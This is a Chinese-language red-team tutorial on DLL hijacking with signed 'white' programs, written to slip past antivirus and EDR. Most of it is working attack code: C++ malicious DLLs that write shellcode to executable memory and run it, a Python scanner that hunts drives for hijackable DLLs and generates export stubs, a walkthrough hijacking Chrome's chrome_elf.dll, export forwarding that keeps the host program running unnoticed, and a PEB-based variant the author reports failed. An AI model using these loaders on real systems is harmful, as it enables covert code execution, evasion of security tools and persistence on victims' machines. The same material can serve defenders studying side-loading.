# 7-DLL劫持注入（涉及白加黑）

## 一、前言

本节内容涉及 `白加黑` 技术，白加黑并不是一个很新的技术，但是在红队攻防中应用非常广泛，且十分有效，究其原因是一个白程序(有数字签名的)，能加载你的黑DLL，这样AV/EDR都得有所顾忌，不敢乱杀。

### 1.1 DLL简介

在Windows中，许多应用程序并不是一个完整的可执行文件，一个大型项目的许多功能被拆分成相对独立的动态链接库，即DLL文件（也是PE文件的一种）。当一个程序需要到一个DLL里面的函数或者数据时，就会将相应的DLL加载到自己的虚拟地址空间中。

一个DLL文件可以被多个应用程序直接使用，这样的DLL文件被称为共享DLL文件

### 1.2 DLL的加载顺序

当应用程序动态加载动态链接库而不指定完全限定的路径名称时，Windows 会尝试通过按特定顺序搜索一组定义完善的目录来查找 DLL。如果攻击者控制 DLL 搜索路径上的某个目录，则可以在该目录中放置 DLL 的恶意副本

DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞，Windows对DLL的默认查找顺序(XP SP2及之后)如下：

官方文档： 1、 [Dynamic-link library search order - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order)

2、[动态链接库安全性 - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-security)

1. 从中加载应用程序的目录。
2. 系统目录。
3. 16 位系统目录。
4. Windows 目录。
5. 当前目录。
6. PATH 环境变量中列出的目录。

当应用程序发出 **LoadLibrary** 调用时，系统会搜索 DLL，在当前目录中查找 DLL 的恶意副本，然后加载它。 然后，DLL 的恶意副本在应用程序中运行，并获取用户的权限。

说的有点啰嗦了，实际的劫持中我们排除某些KnownDlls，排除某些绝对路径加载的DLL，找到可以被劫持的DLL，然后将恶意的DLL放置到原始DLL的路径即可。

## 二、流程和代码实现

**DLL的导出函数**：在 C++ 中，导出函数（Export Functions）通常是为了创建动态链接库（DLL）或共享库，以便其他程序或模块可以调用这些函数

**导出方式**：

```cpp
模板
extern "C" __declspec(dllexport) int <导出函数名称>(类型 参数1, 类型 参数2, ……)

例子
extern "C" __declspec(dllexport) int Add(int a, int b)
```

详见：[C++开发基础之创建DLL的常见的6种导出函数（Export Functions）形式\_c++ 导出函数-CSDN博客](https://blog.csdn.net/houbincarson/article/details/135696212)

⚠**注意**：DLL劫持注入中，恶意DLL应该与原始DLL某一个函数具有相同的导出函数声明，这样应用程序才能正确调用我们的恶意DLL里的函数。

### 2.1 DLL劫持测试

1. 构造一个原始DLL
2. 构造一个恶意DLL
3. 构造一个应用程序exe

构造一个原始DLL

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Original Dll' Current Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

extern "C" __declspec(dllexport) int Add(int a, int b) {
	return(a + b);
}
```

构造一个恶意DLL

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Dll Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

typedef int (*PFNADD)(int, int);

extern "C" __declspec(dllexport) int Add(int a, int b) {
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);

	return TRUE;
}

```

应用程序代码

```go
#include <windows.h>
#include <stdio.h>

int main() {
	HMODULE hMod = NULL;

	hMod = LoadLibraryA("DLLHijack.dll");
	if (!hMod) {
		printf("加载失败!");
		return(-1);
	}
	typedef int (*PFNADD)(int, int);
	PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
	if (NULL == pfnAdd)
		return(-1);
	printf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));

	if (hMod) {
		FreeLibrary(hMod);
		hMod = NULL;
	}
	return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/14-46-41-0719ac6c0cd2c1328c223a48fddd5a2d-20250111144641-2d30ae.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/14-47-17-78f45e8462c70e523b4c24a8d81130e0-20250111144717-8463fb.png)

### 2.2 劫持特定函数接口型（Dll漏洞挖掘及白加黑利用）

1. 寻找目标程序除微软DLL外的可被劫持的DLL
2. 构造一个恶意DLL，并声明一个与原始DLL一样的导出函数声明
3. 将恶意DLL放入到原始DLL目录中，并将恶意DLL的名称改为原始DLL的名称。
4. 运行目标程序

现在有一个问题，就是我们如何知道被劫持的DLL里面的导出函数呢？手动去找不太现实，可以利用工具批量查找可利用的DLL。

工具:[GitHub - HackerCalico/SkyShadow: Generate DLL Hijacking Payload in batches.](https://github.com/HackerCalico/SkyShadow)

将其中的scan.py分成两部分，一个命名为：`scan_MSDLL.py`，另一个命名为：`scan_DLLHijack.py`，首先使用 `scan_MSDLL.py` 来搜寻微软的DLL，接着使用 `scan_DLLHijack.py` 来搜寻可以劫持的DLL。

判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉，然后就是判断导出的dll如果大于1个那么也丢弃掉，因为白加黑只需要一个dll，如果导出来太多dll的话没啥用。

⚠**注意**：使用工具前，请将Tool目录添加到环境变量。

详见：[白加黑详解](https://mp.weixin.qq.com/s/k1ilzWpiMaSBGDTza2x_FA)

scan\_MSDLL.py

```python
import os
import sys
import re

def collect_microsoft_dlls(base_paths):
    """
    收集微软系统 DLL
    """
    microsoft_dlls = set()

    def scan_directory(path):
        try:
            for filename in os.listdir(path):
                filepath = os.path.join(path, filename)
                if os.path.isdir(filepath):
                    scan_directory(filepath)
                elif filename.lower().endswith('.dll'):
                    microsoft_dlls.add(filename.lower())
        except PermissionError:
            pass
        except Exception as e:
            print(f"扫描错误: {e}")

    # 扫描常见系统目录
    for base_path in base_paths:
        if os.path.exists(base_path):
            scan_directory(base_path)

    return microsoft_dlls

def save_dlls_to_file(dlls, filename='MS_DLL.txt'):
    """
    保存 DLL 列表到文件
    """
    with open(filename, 'w', encoding='utf-8') as f:
        for dll in sorted(dlls):
            f.write(dll + '\n')

def main():
    # 默认系统 DLL 目录
    default_paths = [
        r'C:\Windows\System32',
        r'C:\Windows\SysWOW64', 
        r'C:\Windows\WinSxS'
    ]

    # 如果提供了路径参数，则使用用户指定路径
    if len(sys.argv) > 1:
        default_paths = [sys.argv[1]]

    # 收集 DLL
    microsoft_dlls = collect_microsoft_dlls(default_paths)

    # 打印和保存结果
    print(f"总共找到 {len(microsoft_dlls)} 个微软 DLL")
    save_dlls_to_file(microsoft_dlls)

    # 控制台输出
    for dll in sorted(microsoft_dlls):
        print(dll)

if __name__ == '__main__':
    main()

```

使用默认搜寻路径 `python .\scan_MSDLL.py`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/17-01-29-cae5a614a7092f4d2e0e1efb34ba4564-20250111170128-a24e8c.png)

scan\_DLLHijack.py

```python
import os
import re
import sys


def GetPayload(path, exeName):
    whiteDLLs = {}
    exeFullPath = path + '\\' + exeName
    # 获取导入表
    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
    # 匹配DLL信息
    dlls = re.findall('[\S]+\.[dllDLL]{3}[\s\S]+?\n\n[\s\S]+?\n\n', imports)
    dllnames = []
    for dll in dlls:

        if '?' not in dll:
            dllName = re.findall('[\S]+\.[dllDLL]{3}', dll)[0]
            dllnames.append(dllName)
            print(dllnames)
            #print(dllnames)
            # 排除微软DLL
        if len(dllnames) <= 1:
            for i in dllnames:

                if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):
                    continue
                exist = False
                for msDLL in msDLLs:
                    if msDLL.lower() == i.lower():
                        exist = True
                        break
                if not exist:
                    dllFunctions = re.findall('\n\n[\s\S]+', dll)[0]
                    dllFunctions = re.findall('[0-9A-F][\s]([\S]+)\n', dllFunctions)
                    whiteDLLs[i] = dllFunctions
    # 生成Payload
    if whiteDLLs:
        print(exeFullPath)
        # 获取EXE信息
        exeSize = os.path.getsize(exeFullPath)
        if exeSize > 1048576:
            exeSize = str(round(exeSize / 1048576, 2)) + 'MB'
        elif exeSize > 1024:
            exeSize = str(round(exeSize / 1024, 2)) + 'KB'
        else:
            exeSize = str(round(exeSize, 2)) + 'B'
        sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()
        exeMachineType = re.findall('MachineType:[\s]+([\S]+)', sigcheck)[0]
        if exeMachineType == '64-bit':
            bit = 'x64'
        else:
            bit = 'x86'
        exePublisher = re.findall('Publisher:[\s]+([\S]+)', sigcheck)[0]
        if exePublisher == 'n/a':
            signature = ''
            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
        else:
            signature = '数字签名'
            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
        # 生成导出函数
        for dllName, dllFunctions in whiteDLLs.items():
            payload += ['\n' + dllName]
            for dllFunction in dllFunctions:
                payload += [
                    'extern "C" __declspec(dllexport) int ' + dllFunction + '() {\n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;\n}']

        # 写入文件
        name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName
        try:
            os.mkdir('Payload')
        except:
            pass
        try:
            os.mkdir('Payload\\' + name)
        except:
            pass
        with open('Payload\\' + name + '\\' + name + '.txt', 'w') as f:
            f.write('\n'.join(payload))
        os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\\Payload\\' + name + '"')


# 遍历目录
def Collect(path):
    try:
        for fileName in os.listdir(path):
            if os.path.isfile(path + '\\' + fileName):  # 文件
                if fileName[-4:] == '.exe':
                    GetPayload(path, fileName)  # DLL劫持挖掘
            elif os.path.isdir(path + '\\' + fileName):  # 文件夹
                Collect(path + '\\' + fileName)
    except:
        pass


# 获取微软DLL
with open('MS_DLL.txt', 'r') as f:
    msDLLs = f.read().splitlines()

# 收集EXE
if len(sys.argv) == 2:
    Collect(sys.argv[1])
else:
    print('Usage: python scan.py "D:\\\\"')
```

`python .\scan_DLLHijack.py "C:\\"`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/15/13-32-35-9e277c31383423b1cff0129c932af1f9-20250115133235-12da75.png)

随便打开一个输出结果的txt，看看里面的导出函数声明，然后将代码复制到VS编译成一个恶意DLL，将恶意DLL的名称修改为 `chrome_elf.dll`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-27-25-971725db41e909f74d8604bf2adf96cf-20250111162724-c2c0b0.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-36-32-96436af4ce20c2a364762e90aee5d89e-20250111163631-87f46a.png)

来到原始DLL的路径 `C:\Program Files\Google\Chrome\Application\131.0.6778.265`。路径不一定相同，可以使用IDA PRO、windbg、x32/64dbg等工具去看 `Chrome` 真正加载的dll。

原始DLL：`chrome_elf_old.dll` 恶意DLL：`chrome_elf.dll`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-39-32-0e163971bc9cff9cc777011ec4404c1b-20250111163932-112c5d.png)

来到Chrome.exe真正的目录 `C:\Program Files\Google\Chrome\Application`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-40-37-8011721c7405a153eec321e73854b295-20250111164037-33665d.png)

点击运行exe，成功劫持

![recording.gif](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-47-38-38c6b6a335511a30f1e96db5aca2d53b-recording-edcae5.gif)

测试完之后，记得把恶意DLL `chrome_elf.dll` 给删除，原始DLL `chrome_elf_old.dll` 的名称修改为 `chrome_elf.dll`

### 2.3 DLL函数转发（也称DLL旁路加载）

1. 寻找目标程序除微软DLL外的可被劫持的DLL
2. 根据转发表，构造一个恶意DLL（用AheadLib工具）。
3. 将恶意DLL放入到原始DLL目录中，并将恶意DLL的名称改为原始DLL的名称。
4. 运行目标程序

可以看到上面的GIF图，我点击运行了Chrome，虽然成功执行了我们的恶意代码，但是Chrome并没有正常的执行。这样并不利于我们在实战中使用，所以在编写一个恶意DLL时，我们通常除了让dll的导出表与原dll一致，同时对函数进行向原dll的转发，这样我们就能在用户毫无察觉的情况下运行自定义的代码。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/12/13-16-00-304eb2f5d0d00a2aa0f3dcf8ea033d00-20250112131600-0f71e7.png)

**DLL函数转发**：

1. A DLL，其导出函数有 funA，可以供主程序 exe 调用；
2. B DLL，其导出函数有 funB1, funB2，但是开发者开发时，标记了 funB2 函数实际调用的是 A DLL 的 funA 函数，那么主程序在调用的时候：exe -> funB2 -> funA，即 funB2 只是起到一个中转的作用，前面讲到，我们在调用 DLL 的导出函数时，需要将对应的 DLL 载入内存，获取到其导出函数的内存地址，才能进行调用，所以 exe 在调用 B DLL的 funB1 和 funB2 函数时，不仅需要将 B DLL 载入内存，而且还需要将 A DLL 载入内存。
3. 这个知识点对我们后续开发恶意DLL有很重要的作用，比如说我们可以在dllmain函数中编写恶意代码，而不影响程序的正常执行。

转发函数的形式：

```
#pragma comment(linker, "/EXPORT:Add=Origin.Add")

Add表示恶意DLL里的函数（并不需要真正构造出这个函数），Origin.Add表示原始DLL的Add函数。
```

如果被劫持的DLL拥有多个导出函数，则我们就需要全部转发，那么怎么批量生成转发函数表呢？可以使用 `AheadLib` 工具：[\[下载\] AheadLib修改 支持x64支持类/命名空间-编程技术-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-224408.htm)

我这里选择的是直接转发函数，当然你也可以用即使调用函数，它们的原理不相同但是达到的效果差不多。

挑选一个可被劫持的DLL，如果要转发的函数太多了，选择一个合适的路径输出cpp文件。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/20-55-27-e6573aa4d01740479b832e9e79ff297b-20250111205526-515227.png)

dllmain和EvilFuntion的代码如下，然后将转发函数表代码复制到dllmain函数的下方中。

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

void EvilFunction()
{
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		EvilFunction();
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-03-32-af791ee960ee2707a5fdbfc088d6138d-20250111210331-69d240.png)

生成我们的恶意dll并改名，原始DLL改成以Org为后缀。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-04-53-13799b9bf918099e7f878e8302c8f222-20250111210452-d4a3c9.png)

测试

![recording.gif](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-06-33-16f8235b37f365ee881a72cbfe1d48ac-recording-13dff8.gif)

可以看到，应用程序加载了恶意DLL和原始DLL，这样应用程序就能正常启动，达到隐蔽持久化的目的。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-07-34-ae28545276389df8c98c4623ca5076ab-20250111210733-2babd5.png)

### 2.4 通用DLL劫持型

这是吾爱破解社区里面的一位大佬分享的技术。`通用DLL劫持` ，这是一个 DLL 劫持的底层实现，主要通过直接操作 PEB（进程环境块）和 LDR（加载器）数据结构来替换已加载的 DLL。详细的原理介绍请看 `参考文章-1`

**参考文章**： 1、[一种通用DLL劫持技术研究 - 吾爱破解 - 52pojie.cn](https://www.52pojie.cn/thread-830796-1-1.html)

2、 [GitHub - anhkgg/SuperDllHijack: SuperDllHijack：A general DLL hijack technology, don't need to manually export the same function interface of the DLL, so easy! 一种通用Dll劫持技术，不再需要手工导出Dll的函数接口了](https://github.com/anhkgg/SuperDllHijack)

3、[PEB (winternl.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)

4、[PEB\_LDR\_DATA (winternl.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)

5、[Vergilius Project | Kernels](https://www.vergiliusproject.com/kernels)

官方文档的数据结构中某些字段的含义并没有说明，详细字段含义请看`参考文章-5`。

1. 数据结构定义

```go
// UNICODE_STRING：Windows 字符串表示
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA：进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY：单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT * EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
```

2. 获取 PEB 数据结构的地址

```go
void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}
```

⚠**注意**：

* 获取当前进程 PEB：使用 `__readgsqword(0x60) 或(void*)__readfsdword(0x30)`
* 获取远程进程 PEB：使用上下文寄存器方法（`进程镂空注入（Process Hollowing Injection)` 有介绍）

3. 获取 PEB 中的 Ldr 数据结构的地址

```go
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}
```

4. 核心劫持函数

```go
void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
    void* peb = NtCurrentPeb();
    PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

    // 遍历已加载模块链表
    for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
         entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
         entry = entry->Blink) {
        
        PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

        // 比较 DLL 名称
        if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
            // 替换 DLL 基址
            HMODULE hMod = LoadLibrary(OrigDllPath);
            data->DllBase = hMod;
            break;
        }
    }
}

```

没成功，不过有些思路可以学习一下。

完整代码

```go
#include <windows.h>
#include <SDKDDKVer.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

// UNICODE_STRING：Windows 字符串表示
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA：进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
	ULONG Length;
	BOOLEAN Initialized;
	PVOID SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY：单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT* EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 获取 PEB 数据结构的地址
void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}

// 获取 PEB 中的 Ldr 数据结构的地址
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}

void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
	void* peb = NtCurrentPeb();
	PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

	// 遍历已加载模块链表
	for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
		entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
		entry = entry->Blink) {

		PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

		// 比较 DLL 名称
		if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
			// 替换 DLL 基址
			HMODULE hMod = LoadLibrary(OrigDllPath);
			data->DllBase = hMod;
			break;
		}
	}
}
VOID DllHijack1(HMODULE hMod)
{
	// 定义一个字符串缓冲区，用于存储 DLL 路径
	TCHAR tszDllPath[MAX_PATH] = { 0 };

	// 获取当前模块（DLL）的完整文件路径
	GetModuleFileName(hMod, tszDllPath, MAX_PATH);

	// 移除文件名，保留目录路径
	PathRemoveFileSpec(tszDllPath);


	// 在目录路径后追加要劫持的 DLL 名称
	PathAppend(tszDllPath, TEXT("libwiresharkOrg.dll"));

	// 调用 DLL 劫持函数
	SuperDllHijack(L"libwireshark.dll", tszDllPath);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		DllHijack1(hModule);
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
```
